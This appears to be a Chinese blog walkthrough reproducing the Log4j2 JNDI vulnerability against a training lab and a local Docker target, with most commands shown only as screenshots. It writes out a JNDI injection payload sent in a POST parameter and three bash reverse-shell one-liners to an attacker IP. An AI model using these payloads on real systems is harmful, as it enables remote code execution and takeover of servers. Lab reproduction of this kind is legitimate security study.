天天看點

apache log4j2 漏洞複現linux【純詳版】

本次記錄自己測試時每一步操作,很詳細。

本次複現分為curl測試和拿shell兩種操作,測試完curl後體驗時長到期了,隻能換環境了。

本次測試環境如下:

curl------------------------------------------------------

靶場:    http://d63bb2586.lab.aqlab.cn/

攻擊機:106.15.47.238(阿裡雲的一小時體驗伺服器)

拿shell--------------------------------------------------

靶場:      192.168.11.136(centos7)

攻擊機:192.168.11.128(kali)

curl測試:

攻擊機-----------------------

安裝java環境:

jdk1.8.0_181

連結:https://pan.baidu.com/s/1Rt-XLjY2Od6RFQDYkrN7wg

提取碼:6rec

下載下傳好後使用rz傳到vps上:

解壓縮:

Copy到/usr/jdk:

 編輯環境變量:

将下面配置添加到檔案最後:

 告訴系統jdk的位置:

 設定新的jdk為預設:

重載profile檔案:

 檢視jdk版本:

apache log4j2 漏洞複現linux【純詳版】

到此java環境安裝完畢。

編寫一個惡意類,命名為Exploit.java,這裡用curl測試:

 寫入:

編譯:

apache log4j2 漏洞複現linux【純詳版】

開個http服務,等會用來驗證是否指令被目标執行:

apache log4j2 漏洞複現linux【純詳版】

安裝maven:

apache log4j2 漏洞複現linux【純詳版】

 解壓:

apache log4j2 漏洞複現linux【純詳版】

 配置:

apache log4j2 漏洞複現linux【純詳版】

環境變量配置:

最下面添加:

apache log4j2 漏洞複現linux【純詳版】
apache log4j2 漏洞複現linux【純詳版】

 裝git:

apache log4j2 漏洞複現linux【純詳版】

下載下傳marshalsec工具

apache log4j2 漏洞複現linux【純詳版】

進入marshalsec檔案夾,使用maven編譯marshalsec成jar包:

apache log4j2 漏洞複現linux【純詳版】

 耐心等待ing...

來了

apache log4j2 漏洞複現linux【純詳版】

在Exploit.java檔案所在目錄開個http服務:

apache log4j2 漏洞複現linux【純詳版】

進入target檔案夾,搭建個LDAP服務:

apache log4j2 漏洞複現linux【純詳版】
apache log4j2 漏洞複現linux【純詳版】

 通路靶場:

http://d63bb2586.lab.aqlab.cn/

apache log4j2 漏洞複現linux【純詳版】

 點選登入後,目标執行指令curl我們的5678端口:

apache log4j2 漏洞複現linux【純詳版】
apache log4j2 漏洞複現linux【純詳版】

-------------------------------------------------------- -------------------------------------------------------- 

這時候靶場1小時時間到期了嗚嗚。

拿shell:

簡介:

靶機:      192.168.11.136(centos7)

和以上curl操作相同,隻是修改被執行的指令為反彈shell。

靶機docker環境搭建:

裝docker

啟動docker:

拉鏡像:

容器:

進容器:

開tomcat服務:

到此為止靶機環境搭建好了。

攻擊機-----------

配java環境、各種元件。和上面curl操作步驟一樣。

配好環境和相關元件後,在Exploit.java所在目錄啟個http服務:

apache log4j2 漏洞複現linux【純詳版】

開啟LDAP服務:

apache log4j2 漏洞複現linux【純詳版】

惡意類内容.編輯Exploit.java檔案,利用curl反彈shell:

apache log4j2 漏洞複現linux【純詳版】
apache log4j2 漏洞複現linux【純詳版】

再啟個http服務供目标機器來通路bash.html:

apache log4j2 漏洞複現linux【純詳版】

Bash.html内容:意思是把shell反彈到攻擊機4444端口:

apache log4j2 漏洞複現linux【純詳版】

 Nc監聽4444,坐等shell:

apache log4j2 漏洞複現linux【純詳版】

最後通路http://192.168.11.136:8080/webstudy/hello-fengxuan

Post請求c=${jndi:ldap://192.168.11.128:8899/id}

apache log4j2 漏洞複現linux【純詳版】

 過程:

apache log4j2 漏洞複現linux【純詳版】
apache log4j2 漏洞複現linux【純詳版】

目标Curl攻擊機的8888端口,内容為反彈shell到攻擊機4444端口:

apache log4j2 漏洞複現linux【純詳版】

收到shell:

apache log4j2 漏洞複現linux【純詳版】

-----------------------

問 為什麼要這樣反彈,麻煩不煩啊!

答 因為其他方式本人沒彈出來(委屈)

bash -i >& /dev/tcp/192.168.11.128/4444 0>&1

bash -i > /dev/tcp/192.168.11.128/4444 0<&1 2>&1

exec 196<>/dev/tcp/192.168.11.128/4444; sh <&196 >&196 2>&196

晚安

參考:

https://cloud.tencent.com/developer/article/1853055?from=article.detail.1577831

https://mp.weixin.qq.com/s/4cvooT4tfQhjL7t4GFzYFQ

https://cloud.tencent.com/developer/article/1577831

聲明:

由于傳播、利用此文所提供的資訊而造成的任何直接或者間接的後果及損失,均由使用者本人負責,文章作者不為此承擔任何責任。